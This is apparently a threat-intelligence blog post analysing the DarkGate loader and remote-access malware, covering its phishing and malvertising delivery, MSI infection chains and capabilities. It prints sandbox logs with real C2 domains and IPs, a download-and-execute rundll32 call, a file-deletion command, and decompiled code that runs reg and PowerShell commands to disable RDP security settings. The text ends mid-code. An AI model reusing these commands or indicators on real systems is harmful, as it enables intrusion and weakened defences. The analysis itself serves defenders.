# Inside DarkGate: Exploring the infection chain and capabilities

logpoint.com/en/blog/inside-darkgate/
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As the threat landscape continually evolves, some positive developments, such as authorities tracking down Maldevs, threat actors, and forum managers, and seizing control of command-and-control servers while disrupting malware distribution networks, have become more frequent. In this dynamic environment, the emergence of new players and the adaptation of existing ones have become commonplace.



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# DarkGate overview

The continually evolving environment often leads to the rebranding of threat actors and the modification of malware families, as seen recently with the rise of DarkGate. Its proliferation has surged following the takedown of the Qbot infrastructure, exemplifying the ever-shifting

nature of cyber threats. According to <u>Cofense</u>, similarities were identified between DarkGate and <u>PikaBot phishing campaigns</u>, reminiscent of <u>Qakbot techniques</u>. This suggests potential unknown connections or adaptations of existing techniques, underscoring the complexity of modern cyber threats.

DarkGate serves dual purposes as both a loader malware and a RAT, enabling it to execute various malicious actions such as stealing sensitive data from victims and deploying cryptocurrency miners. It is known to be created and maintained by a user who goes by the <u>alias RastaFarEye</u> on multiple forums. Undergoing development <u>since 2017</u>, DarkGate has evolved through various iterations while operating under a Malware-as-a-Service model. DarkGate is <u>primarily distributed</u> through phishing, often using Browser Update Themes. It is also spread via Malvertising and <u>SEO Poisoning</u>, varying according to the threat actor's preferred method of malware delivery.

One of the unique traits of DarkGate is that it uses Autolt, which is a scripting language designed for automating the Windows GUI and general scripting tasks. It allows users to create scripts that automate tasks such as keystrokes, mouse movements, and window commands. It is particularly useful for tasks like software installation, system administration, and automation.

# **Delivery methods**

Let's delve into some of the DarkGate's most common delivery techniques to shed light on the prevalent methods they use for malware distribution.

## Phishing

DarkGate aka MehCrypter is primarily distributed through phishing, employing specific themes tailored for such deceptive practices. Threat actors strategically use phishing URLs, redirecting users to a Traffic Distribution System (TDS) to download the malicious payload. In October 2023, <u>Proofpoint</u> observed a phishing scheme where threat actors directed users to the Ketaro TDS. Victims were then presented with an internet shortcut (.URL) file through this process, and upon clicking, a zipped VBS script was downloaded.

An alternative tactic involves the exploitation of a fake browser update theme. If an end user interacts with the counterfeit browser update button, a similar process ensues, leveraging a TDS for the distribution of the malicious payload.

Again in October 2023, <u>PaloAltoNetworks</u> uncovered the distribution of DarkGate malware through Microsoft Teams. In this scenario, adversaries masqueraded as the CEO of the targeted organization, sending victims a Teams invitation as part of their deceptive tactics. The trend for using Microsoft Teams for phishing lures has still been seen recently in <u>January</u> <u>2024 by AT&T</u>.

## Malvertising

Malvertising, short for malicious advertising, is a technique used by adversaries to distribute malware via online advertisements. These deceptive ads, appearing on legitimate websites, exploit browser vulnerabilities, leading users to malicious sites or initiating malware downloads upon interaction.

Threat actors have employed themes related to remote administration tools, specifically <u>leveraging the guise of Advanced IP Scanner</u>, a widely used tool among IT administrators. When victims interact with the malicious ad, they are directed to a decoy site as part of the deceptive tactics employed by the attackers.



## **SEO** poisoning

SEO poisoning, a technique manipulating search results to promote malicious content, aims to boost rankings of websites posing as legitimate ones. In contrast, malvertising spreads malware through infected online ads, tricking users into infecting their devices.

According to <u>Malwarebytes</u>, threat actors used the Advanced IP Scanner theme for SEO poisoning to distribute DarkGate malware. The tactic mirrored the malvertising campaign, focusing on Advanced IP Scanner. Through SEO poisoning, attackers aim to manipulate search results, redirecting users to malicious sites linked to DarkGate malware distribution.



In conclusion, **Advanced IP Scanner** stands out as a dependable network scanner for analyzing local networks. Its ability to effortlessly discover connected ...

#### Source - MalwareBytes

To summarize the payload delivery mechanism, any threat actor or hacktivist can acquire DarkGate malware and employ diverse techniques for its distribution. However, based on the aforementioned observations, we can infer that the attackers have specific targets in mind—specifically, administrators. This is evident in their use of scanner themes for phishing attempts, aiming to gain initial access.

# DarkGate infection chain:

DarkGate can also be used as a loader malware, allowing its initial payload to manifest in various file formats. Some of the known file formats include .msi, .lnk, and .vbs. Now, we'll explore the malware's typical infection. Below is the high-level overview of the typical DarkGate infection chain observed from multiple samples during the analysis period before publishing this blog, which is likely to change in the upcoming days.

## Chain

- Initially, DarkGate delivers various forms of payloads for initial access, such as .msi, .lnk, .vbs, .js, etc., to the victim.
   To view some different initial access payloads click, .js, .vbs, .hta, .msi, and .lnk.
- 2. Once received, the victims execute the payloads using the default applications associated with the relevant file types.
- 3. Following the execution of the initial access payload, DarkGate executes Living Off The Land Binaries (LOLBins) to drop another stage of the payload.

- 4. The dropped payload may manifest as archive files, such as .cab, from which additional stages of payloads are extracted. These stages typically comprise external binaries along with their associated malicious Dynamic Link Libraries (DLLs), facilitating DLL side loading. Usually these are dropped under %AppData%\Temp\[random-folder-name]\files\ directory. Alternatively, dropper payloads may be introduced from the third stage, wherein the execution triggers the download of executables.
- 5. Following DLL side loading, DarkGate drops Autoit3 Binary and Autoit scripts. Alternatively, following the execution of the dropped executables, the executable reestablishes connection with the Command and Control (C2) server to deliver the Autoit3 binary and Autoit3 script.
- 6. Subsequently, DarkGate invokes Autoit3.exe to execute malicious AUscripts, containing instructions for extracting and deploying the loader.
- 7. Upon the execution of the loader, DarkGate deploys it main module.



## Infection chain with MSI

We obtained a <u>sample</u> MSI (Microsoft Installer) file from MalwareBazaar to illustrate the analysis described below:



Logpoint Process Tree Plugin

After the execution of the payload via msiexec, it proceeds to install the payload and displays the installation process of iTunes to the user.

iTunes - UNREGISTERED - Wrapped using MSI Wrapper	from www.exem
Please wait while Windows configures iTunes - UNF Wrapped using MSI Wrapper from www.exemsi.com	REGISTERED -
Gathering required information	
	Cancel

In the background, it is creating a temp folder and dropping an archive file as shown in the below screenshot. After the folder creation, *icacls.exe* is used to set the integrity level of the directory to high

Process Name	PID Operation	an Path	Detail
Holl Mai Exec exe	2712 In Crostel	Pfie C-\Usen'aadmin\AppData\Loca\Temp\MW-1d1230c1acb4+lb2-8b44b3efc4624511 Fie C-\Usen'aadmin\AppData\Loca\Temp\MW-1d1230c1acb4+lb2-8b44b3efc4624511 Fie C-\Usen'aadmin\AppData\Loca\Temp\MW-1d1230c1acb4+lb2-8b44b3efc4624511\les.cab Fie C-\Use	Desired Access: Read Data/List Directory, Synchronize, Disposition: Create, Options: Directory, Synchronous IO Non-Kert, Open Reparse Pi
Hol Mai Exec exe	2712 In ReadFil		Offset: 0. Length: 2
Hol Mai Exec exe	2712 In Crostel		Desired Access: Genetic Read/Write, Delete, Disposition: Open, Options: , Athbutes: N, ShareMode: None, AllocationSize: n/a
Hol Mai Exec exe	2712 In Crostel		Desired Access: Genetic Read/Write, Delete, Disposition: Open, Options: , Athbutes: N, ShareMode: None, AllocationSize: n/a
Hol Mai Exec exe	2712 In Crostel		Desired Access: Genetic Read/Write, Delete, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Athbutes: N
Hol Mai Exec exe	2712 In WriteFil		Offset: 0. Length: 1,000, Nindty: Nomal
Hol Mai Exec exe	2712 In WriteFil		Offset: 1000, Length: 1,000

.cab aka Cabinet is a type of archive-file format for Microsoft Windows. The dropped
files.cab is then extracted using the expand.exe binary.
C:\Windows\system32\EXPAND.EXE -R files.cab -F:\* files

The iTunesHelper binary and its DLL are extracted from the archive. Subsequently, iTunesHelper.exe, extracted from the archive, is executed. This action leads to the loading of the malicious DLL, which in turn drops Autoit and the corresponding .au3 script file.

Disk	Operations (3)				3
				search	
S.N.	File		Path		
1	Autoit3.exe		C:\temp		
2	script.a3x		C:\temp		
3	test.txt		C:\temp		
Imag	e Loads (2)				$(\infty)$
				search	
\$.N.	File	Signature	Image	Is Signed 🕆	
1			$\label{eq:c:Users} C: Users \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \$	false	
2	iTunesHelp	Apple Inc	$\label{eq:c:Users} C: Users \ badmin \ AppData \ Local \ Temp \ MW-1 \ cb113 \ b7-fd36-4f06-94a6-ccfe4780494 \ files \ iTunes \ Helper. exectly \ baddle and \ $	true	

Following this sequence, the dropped Autolt script file is executed using Autolt3.

(I) TunesHelper.exe	4208 TeateFieldC:bemp'Autot3.exe	SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE_WRITECOPY
③(TunesHelper.exe)	4208 cPProcess Cre c:/temp/Autot3.exe	PID: 2720, Command line: "c:\temp\Autoit3.exe" c:\temp\script.a3x
Autoit3.exe	2720 cfProcess Stat	Parent PID: 4208, Command line: "cr/temp/Autoit3.exe" cr/temp/acript.a3x, Current directory: cr/temp/ Environment: AGENTX_IN
Autot3.exe	2720 cP Thread Create	Thread ID: 1892

The script includes instructions to gather system information, such as the Windows product ID and processor details, as part of its discovery process.



Subsequently, the backup of the Autoit3 binary and script files is created under the C:\ProgramData\[Random-name] directory. The backup is intended for establishing persistence at a later stage.



Following that, Autolt3 executes malicious scripts to perform the discovery of security software instances on the system.

 Autoit3.exe	2720	🐂 Create File	C:\ProgramData\Bitdefender
 Autoit3.exe	2720	🐂 Create File	C:\Program Files\Bitdefender
 Autoit3.exe	2720	🐂 Create File	C:\ProgramData\AVAST
 Autoit3.exe	2720	🐂 Create File	C:\Program Files\AVAST Software
 Autoit3.exe	2720	🐂 Create File	C:\ProgramData\AVG
 Autoit3.exe	2720	📻 Create File	C:\Program Files\AVG
 Autoit3.exe	2720	🐂 Create File	C:\ProgramData\Kaspersky Lab
 Autoit3.exe	2720	📻 Create File	C:\Program Files (x86)\Kaspersky Lab
 Autoit3.exe	2720	🐂 Create File	C:\ProgramData\ESET
 Autoit3.exe	2720	🐂 Create File	C:\Program Files (x86)\Avira
 Autoit3.exe	2720	🐂 Create File	C:\Program Files (x86)\lObit
 Autoit3.exe	2720	🐂 Create File	C:\Program Files\Malwarebytes
 Autoit3.exe	2720	📻 Create File	C:\ProgramData\Emsisoft
 Autoit3.exe	2720	🐂 Create File	C:\Program Files\Quick Heal
 Autoit3.exe	2720	🐂 Create File	C:\Program Files (x86)\F-Secure
 Autoit3.exe	2720	📻 Create File	C:\ProgramData\Sophos
 Autoit3.exe	2720	🐂 Create File	C:\ProgramData\G DATA
			• · ·

While analyzing the Autoit Script, we were able to extract some instructions, and there the script contains Dllcall function of Autolt3 which is displayed in the comment. The hexencoded value shown below is the actual instruction, with the comment section for reference. We can see that Autolt's DllCall function is used to call the VirtualProtect function from the kernel32.dll library to modify the memory protection attributes to facilitate code injection.



When security software isn't detected, modifications are made to the values of the StartMenuExperienceHost registry key, located at: HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-1984999317-268798495-3946344884-

500\Microsoft.Windows.StartMenuExperienceHost\_cw5n1h2txyewy.

Autot3.exe	2720 Career Services (Services) and State (UserSettings) S-1-5-21-1984999317-26	Type: REG_BINARY, Length: 24, Data: 02 54 1C 8C 79 62 DA 01 00 00 00 00 00 00 00 00 00
Autot3.exe	2720 B RegSetValue HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-1984999317-26	Type: REG_BINARY, Length: 24, Data: 5D 01 0F 69 7F 62 DA 01 00 00 00 00 00 00 00 00
Autoit3.exe	2720 RecreateFile C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Desired Access: Read Attributes, Disposition: Open, Options: Non-Directory File, Attributes: n/a, ShareMode: Read, Write, Aloca
Autot3.exe	2720 RecreateFile C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Desired Access: Read Data/List Directory, Read Attributes, Synchronize, Disposition: Open, Options: Sequential Access, Synchro
Autot3.exe	2720 🙀 QueryAllinforC:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Creation Time: 2/5/2024 10:17:34 AM, LastAccess Time: 2/18/2024 8:31:20 PM, LastWrite Time: 2/5/2024 10:17:34 AM, Chang
Autot3.exe	2720 Recreate File M C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE_WRITECOPY
Autot3.exe	2720 ReadFile C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Offset: 0, Length: 32,768, I/O Rags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
Autot3 exe	2720 🙀 ReadFile C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Offset: 32,768, Length: 32,768, I/O Rags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
Autot3.exe	2720 ReadFile C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Offset: 65,536, Length: 65,536, I/O Rags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
Autot3.exe	2720 🙀 ReadFile C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Offset: 131,072, Length: 131,072, I/O Rags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
Autot3.exe	2720 HeadFile C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	Offset: 262,144. Length: 5,688, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
StartMenuExperienceHost.exe	6156 gProcess Cre C:\Program Files (x85)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe	PID: 3580, Command line: "C./Program Files (x86)/Microsoft/EdgeUpdate/1.3.183.29/Microsoft/EdgeUpdateCore.exe"
McrosoftEdgeUpdateCore exe	3680 dProcess Stat	Parent PID: 6156. Command line: "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.183.29\MicrosoftEdgeUpdateCore.exe", C
MicrosoftEdgeUpdateCore.exe	3680 d? Thread Create	Tread ID: 2512
C 1 4 4 3 3 4 4	APPA (#P. A	1

Following the modification, the StartMenuExperienceHost initiates the MicrosoftEdgeUpdateCore.exe process. Process injection is performed on the MicrosoftEdgeUpdateCore.exe process.

Subsequently, from the injected process, another round of security software discovery is carried out. Then, the previously created backup of Autolt3 and its script are set up for persistence by placing them under the **RUN** registry. Additionally, the process establishes connections to the command-and-control (C2) server.

DNS	DNS Requests (3)						
S.N.	Query	Status	Result				
1	prodomainnameeforappru.com	0	46.21.157.142;				
2	prodomainnameeforappru.com	0	46.21.157.142;				
3	prodomainnameeforappru.com	0	46.21.157.142;				

Additionally, it removes traces of the initial files by deleting them using command prompt commands.

15 MaiExec.exe	2712 🐂 ReadFile	Offset: 131,072, Length: 105,472, I/O Rags: Non-cached, Paging I/O, Synchronous Paging I/O, Priority: Normal
HsiExec.exe	2712 cProcess Create	PID: 5628, Command line: C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\sadmin\AppData\Local\Temp\MW-1d1290c1-acb4-41b2-9b44-b9afc4624581\files"
an ord.exe	5628 c <sup>®</sup> Process Start	Parent PID: 2712, Command line: C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\sadmin\AppData\Local\Temp\MW-1d1290c1-acb4-41b2-9b44-b9afc4624581\files",
structure exe	5628 c <sup>®</sup> Thread Create	Thread ID: 5228

# Infection chain with LOLBINs

Moving on to examine a slightly different method, we've got another .msi sample to look into.



Same as above, we executed the payload with msiexec. After the execution, we were able to observe the following disk operations, where %APPDATA%\MSI14499 directory was created and multiple files were written: Microsoft.Deployment.WindowsInstaller.dll, WixSharp.dll and WixSharp.UI.dll.

Additionally, during the application installation process via msiexec.exe, DLL files
masquerading as .tmp were also dropped in the C:\Windows\Installer folder.

After that rundll32 was invoked to execute the malicious functions of those DLLs dropped under C:\Windows\Installer by calling relevant export functions, so that's why multiple invocations of rundll32.exe are displayed in the below process tree.

£	Label="Process" label=Create parent_process="*msiexec.exe"     Use with the second parent_process="*msiexec.exe"       "process" = "*undil32.exe"     Use with the second parent_process="text"       [ chart count() by "process".command     Image: text of					
1	9 logs		🔘 Add Search To 🔻 🚖 More			
Ĩ	process	command †				
	C: \Windows\SysWOW64\rundli32.exe	rundll32.exe *C:\Windows\Installer\MS11FDE.tmp*,zzzinvokeManagedCustomActionOutOfProc SfxCA_4071437 2 WixSharpfWixS	harp.ManagedProjectActions.WixSharp_InitRuntime_Action			
	C: \Windows\SysWOW64\rundll32.exe	rundll32.exe "C:\Windows\Installer\MSi2138.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_4071750 11 tiho_exe.cslCu	stomActions.DownloadAndExecute			
	C: \Windows\SysWOW64\rundli32.exe	rundll32.exe "C:\Windows\Installer\MSI3425.tmp",zzzInvokeManagedCustomActionOutOfProc SfxCA_4076578 17 WixSharpIWid	Sharp.ManagedProjectActions.CancelRequestHandler			
	C: \Windows\SysWOW64\rundll32.exe	rundll32.exe "C:\Windows\Installer\MSIA14A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_19964375 2 WixSharplWix	Sharp.ManagedProjectActions.WixSharp_InitRuntime_Action			
	C: \Windows\SysWOW64\rundll32.exe	rundll32.exe "C:\Windows\Installer\MSIA4D6.tmp",zzzzInvokeManagedCustomActionOutOlProc 5fxCA_19965156 11 tiho_exe.csl0	DustomActions.DownloadAndExecute			
	C: \Windows\SysWOW64\rundll32.exe	rundll32.exe "C:\Windows\Installer\MSIB98E.tmp",zzzzlnvokeManagedCustomActionOutOfProc SfxCA_4962796 2 WixSharpIWixSh	arp.ManagedProjectActions.WixSharp_InitRuntime_Action			
	C: \Windows\SysWOW64\rundli32.exe	rundll32.exe "C:\Windows\Installer\MSiBBF2.tmp",zzzInvokeManagedCustomActionOutOfProc SfxCA_4963328.11 tiho_exe.cslCu	istomActions.DownloadAndExecute			
	C: \Windows\SysWOW64\rundll32.exe	rundll32.exe "C:\Windows\Installer\MSiBC47.tmp",zzzinvokeManagedCustomActionOutOIProc SfxCA_19971234 17 WixSharpIWi	xSharp.ManagedProjectActions.CancelRequestHandler			
	C: Windows\SonWW64\nmdll32.exe	rundll32.exe "C:\Windows\Installer\MSICB83.tmp",zzzinvokeManagedCustomActionOutOIProc SfxCA_4967390 17 WixSharpIWix	Sharp.ManagedProjectActions.CancelRequestHandler			

One of the DLL files contains instructions to download the payload from the C2, so when the DLL is executed via rund1132.exe it connects to C2, and downloads another executable.

PROCESS DETAILS					
rundli32.exe					
(0038ff64-1cd3-65d6-e505-000000000000)					
2024/01/03 21:39:59					
Related Informations					
Process ID		5488			
Process		C:\Windows\SysWOW64\rundll32	lexe		
Command		rundll32.exe "C:\Windows\Installe SfxCA_4071750 11 tiho_exe.cslCu	er/MSI2138.tmp*,zzzzInvokeManagedC ustomActions.DownloadAndExecute 🕲	ustomActionOutOfProc	
User		sadmin			
Host		windows10			
Integrity Level		High			
File		RUNDLL32.EXE			
eu		8FA889E456AA646A4D0A434997	7430CE5FA5E2D7 2		
SHAT		Analyze VirusTotal Score 🖸			
Vendor		Microsoft Corporation			
Application		Microsoft® Windows® Operating	System		
Parent Process		C:\Windows\SysWOW64\msiexec.	C:\Windows\SysWOW64\msiexec.exe		
Parent Command		C:\Windows\syswow64\MsiExec.e	xe -Embedding 434F442C7D2431E53E	198518C500E4D9 🖄	
Network Operations (1)					æ
				search	
S.N. Source IP	Destination IP		Destination Port		
1 10.0.1.100	162.240.8.41		443		
Disk Operations (1)					3
				search	
S.N. File	Path				
1 pm320240221_214000.exe	C:\Users\sadr	min\AppData\Local\Temp			
DNS Requests (1)					(8)
				search	
5.N. Query		Status 🕆	Result		
1 computersupportexperts.com		0	::冊:162.240.8.41;		

The dropped executable pm320240221\_214000.exe seems to be a loader based on the activities it performs, which are mentioned in the following sections.

pm320240221_214000.exe					
003864-1cd8-65d5-6675-0000000000100					
2024/01/03 21:40:04					
Related Informations					
Process ID	5896				
Process	C:\Users\sadmin\AppData\Local\Temp\pm320240221_214000.exe				
Command	*C:\Users\sadmin\AppData\Local\Temp\pm320240221_214000.exe* @				
User	sadmin				
Host	windows10				
Integrity Level	High				
CHA1	1B17806F24F39272598EE7BF595D0CE594B7FD00 🖉				
SUM	Analyze VirusTotal Score 🕼				
Parent Process	C:\Windows\SysWOW64\rundll32.exe				
Parent Command	rundll32.exe "C:\Windows\Installer\MSI2138.tmp",zzzzInvokeManagedCustomActionOutOfProc				
Farent Command	SfxCA_4071750 11 tiho_exe.cslCustomActions.DownloadAndExecute @				

## After the execution of the binary, it modifies the internet settings as displayed below.

pm302040222_103237 exe     pm320240222_103237 exe     pm320240222_103237 exe     pm32020222_103237 exe     pm32020222_103237 exe     pm32020222_103237 exe     pm32020222_103237 exe     pm3202022_103237 exe     pm3202022_10327 exe     pm3202022_10327 exe     pm3202022_10327     exe     pm3202022_10327 exe     pm3202022_10327     exe     fm32     fm32     fm32     fm32     fm32     fm32     fm32     fm32     fm32     fm3     fm32     fm32     fm3     fm32     fm3     fm3     fm3     fm3     fm3     fm3     fm3     fm3     fm3	3236 RegCreate/Key 3236 RegCreate/Key 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue 3236 RegSetValue	HKLM-SOFTWARE/Policies/Microsoft/Windows/TenartRestrictions/Payload HKCU/Software/Microsoft/Windows/Currert/Version/Internet Settings/ZoneMap\ HKCU/SOFTWARE/Moroadf/Windows/Currert/Version/Internet Settings/ZoneMap\/Engle HKCU/SOFTWARE/Microsoft/Windows/Currert/Version/Internet Settings/ZoneMap\/HcarettAame HKCU/SOFTWARE/Microsoft/Windows/Currert/Version/Internet Settings/ZoneMap\/HcClestranet HKCU/SOFTWARE/Microsoft/Windows/Currert/Version/Internet Settings/ZoneMap\/HcLoEdettanet HKCU/SOFTWARE/Microsoft/Windows/Currert/Version/Internet Settings/ZoneMap\/HcLoEdettanet HKCU/SOFTWARE/Microsoft/WIndows/Currert/WEIPIID/I	SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS SUCCESS	Desired Access: Query Value, Disposition: REG_OPENED_EXISTING_KEY Desired Access: Read Wite, Disposition: REG_OPENED_EXISTING_KEY Type: REG_DWORD, Length: 4, Date: 1 Type: REG_DWORD, Length: 4, Date: 1
pm320240222_103237.exe	3236 CreateFile	C:\Users\sadmin\AppData\Local\Temp\IPHLPAPI.DLL	NAME NOT FOUN	D Desired Access: Read Attributes, Disposition: Open, Options: Open Reparse Point, Attribut

Then it attempts to connect to the C2 server to drop autoit3.exe and its malicious script file. However, due to the C2 server being down during the time of our analysis, we couldn't observe the behavior.

 pm320240222_103237.exe	3236	TCP Reconnect	windows10.utvcvf4c2nguzbc2yhasyumofa.rx.internal.cloudapp.net:49065 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
 C:\Users\aadmin\AppData\Loc	al\Temp\p	n320240222_103237	7.exe ws10.utvci64c2mguzbc2yhasyumofa.rx.internal.cloudapp.net:45865 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
 pm320240222_103237.exe	3236	TCP Reconnect	windows 10 utvcs/4c2mguzbc2yhasyumofa nx internal cloudapp net: 49855 -> 207.246.70.132 vultrusercontent.com http	SUCCESS	Length: 0, segnum: 0, connid: 0
pm320240222_103237.exe	3236	TCP Reconnect	windows 10.utvcr/4c2mguzbc2yhasyumofa.rx.internal.cloudapp.net:49865 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
 pm320240222_103237.exe	3236	TCP Disconnect	windows 10.utvcr64c2mguzbc2yhasyumofa.rx.internal.cloudapp.net:49865 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
 pm320240222_103237.exe	3236	ReadFile	C:\Windows\SysWOW64\winimet.dll	SUCCESS	Offset: 3,769,344, Length: 32,768, I/O Rags: Non-cached, Paging I/O, Synchronou
 pm320240222_103237.exe	3236	ReadFile	C:\Windows\SysWOW64\winimet.dll	SUCCESS	Offset: 3,437,568. Length: 24,576. I/O Rags: Non-cached. Paging I/O, Synchronou
 pm320240222_103237.exe	3236	ReadFile	C:\Windows\SysWOW64\urtmon.dll	SUCCESS	Offset: 570,368, Length: 24,576, I/O Rags: Non-cached, Paging I/O, Synchronous
 pm320240222_103237.exe	3236	RegCreateKey	HKLM\Software\WOW6432Node\Microsoft\DownloadManager	SUCCESS	Desired Access: All Access, Disposition: REG_OPENED_EXISTING_KEY
pm320240222_103237 exe	3236	TCP Reconnect	windows10.utvc#4c2mguzbc2/hasyumofa.rx.internal.cloudapp.net.49866 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
 pm320240222 103237.exe	3236	TCP Reconnect	windows10utvorf4c2nguzbc2yhasyumofa rx internal cloudapp net 49856 -> 207 246 70 132 vultrusercontent com http	SUCCESS	Length: 0, segnum: 0, connid: 0
pm320240222 103237 exe	3236	TCP Reconnect	windows10_utvcrf4c2nguzbc2/hasyumofa.rx.internal.cloudapp.net.49856 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
pm320240222 103237 exe	3236	TCP Reconnect	windows 10 utvorf 4c 2nourbc 2/hasyumofa rx internal cloudapp net 49866 -> 207 246 70 132 vultrusercontent com http	SUCCESS	Length: 0, segnum: 0, connid: 0
 pm320240222_103237.exe	3236	TCP Disconnect	windows 10.utvcr/4c2mguzbc2yhasyumofa.rx.internal.cloudapp.net.49866 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
pm320240222 103237 exe	3236	RegCreateKey	HKLM\Software\WOW6432Node\Microsoft\DownloadManager	SUCCESS	Desired Access: All Access, Disposition: REG. OPENED, EXISTING, KEY
pm320240222 103237 exe	3236	TCP Reconnect	windows 10 utvor64c2mguzbc2yhasyumofa rx internal cloudapp net 49867 -> 207 246 70 132 vultrusercontent com http	SUCCESS	Length: 0, segnum: 0, connid: 0
m 320240222 103237.exe	3236	TCP Reconnect	windows10_utvcrf4c2nguzbc2/hasyumofa.rx internal cloudapp.net 49857 -> 207.246.70.132 vultrusercontent.com http	SUCCESS	Length: 0, segnum: 0, connid: 0
pm320240222 103237 exe	3236	TCP Reconnect	windows 10 utvorf 4c 2ngupbc 2/hasyumofa rx internal cloudapp net 49867 -> 207 246 70 132 vultrusercontent com http	SUCCESS	Length: 0, segnum: 0, connid: 0
 pm320240222 103237.exe	3236	TCP Reconnect	windows10.utvc#4c2mguzbc2yhasyumofa.rx.internal.cloudapp.net.49857 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0
pm320240222 103237 exe	3236	of Thread Ext		SUCCESS	Thread ID: 8788, User Time: 0.0000000, Kernel Time: 0.0000000
m320240222 103237 exe	3236	c <sup>®</sup> Thread Exit		SUCCESS	Thread ID: 8204, User Time: 0.0000000, Kernel Time: 0.0000000
 pm320240222_103237.exe	3236	TCP Disconnect	windows 10 utvor/4c2nquzbc2yhasyumola.rx internal.cloudapp.net:49867 -> 207.246.70.132.vultrusercontent.com.http	SUCCESS	Length: 0, segnum: 0, connid: 0

But below is the SS of the network connection observed in <u>Virustotal</u> where the binary was connecting to C2 and downloading <u>autoit3.exe</u> binary and payload script file.

# **DarkGate capabilities**

Let's take a closer look at some of the configurations that we saw while performing analysis on the main DarkGate malware. Features might or might not be executed based on the adversaries' objectives.

## Security software discovery

Before executing malicious functions, DarkGate and its loader perform initial security checks where they attempt to discover if certain folders and processes exist or not. The major security software and antivirus programs are mentioned below:

Bitdefender Avast AVG Kaspersky EndPoint Security Kaspersky Eset - Nod32 Avira Norton Symantec Trend Micro McAfee G DATA SUPER AntiSpyware Comodo Malwarebytes ByteFence Spybot - Search & Destroy

360 Total Security Total AV IObit Malware Fighter Panda Security Malwarebytes Emsisoft Quick Heal F-Secure Sophos

## Lateral movement

#### Terminal setting modification

The sample we analyzed contains code to modify network configuration, setting the TrustedHosts value for WS-Management to "127.0.0.2". Then it modifies terminal settings to override default RDP settings and security configuration related to RDP.

```
FUN_004046e4((int *)sstack0xffffffd0,(undefined4 *)sDAT_0044da64,(undefined4 *)unaff_EBX[4]);
FUN 0044811c("cmd.exe",puVar8,"C:\\Windows\\System32\\",cVar1,iVar11);
FUN 0044811c("cmd.exe",
             "/c -NoProfile -ExecutionPolicy Bypass -Command \"& { Set-ItemProperty -Path \"\"HK
             CU:\\Software\\Microsoft\\Terminal Server Client\"\" -Name \"\"AuthenticationLevel0
             verride\"\" -Value 0 }\""
             ,"C:\\Windows\\System32\\",'\x01',0);
FUN_0044dlac();
FUN 0044548c((uint *)"cmd.exe",
             "/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows_NT\\Termin
             al Services\" /v \"DisableRemoteDesktopAntiAlias\" /t REG_DWORD /d l && exit"
            );
FUN_0044548c((uint *)"cmd.exe",
             "/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Termin
             al Services\" /v \"DisableSecuritySettings\" /t REG_DWORD /d 1 && exit"
            );
FUN 0044cla0('\0');
FUN_0044548c((uint *)"cmd.exe",
             "/c reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Termin
             al Services\" /v \"DisableRemoteDesktopAntiAlias\" /t REG_DWORD /d 1 && exit"
            );
FUN_0044548c((uint *)"cmd.exe",
             "/c reg add \"HKEY_LOCAL MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Termin
             al Services\" /v \"DisableSecuritySettings\" /t REG_DWORD /d 1 && exit"
            );
FUN 0044811c("cmd.exe",
             "/c -NoProfile -ExecutionPolicy Bypass -Command \"& { Set-ItemProperty -Path \"\"HK
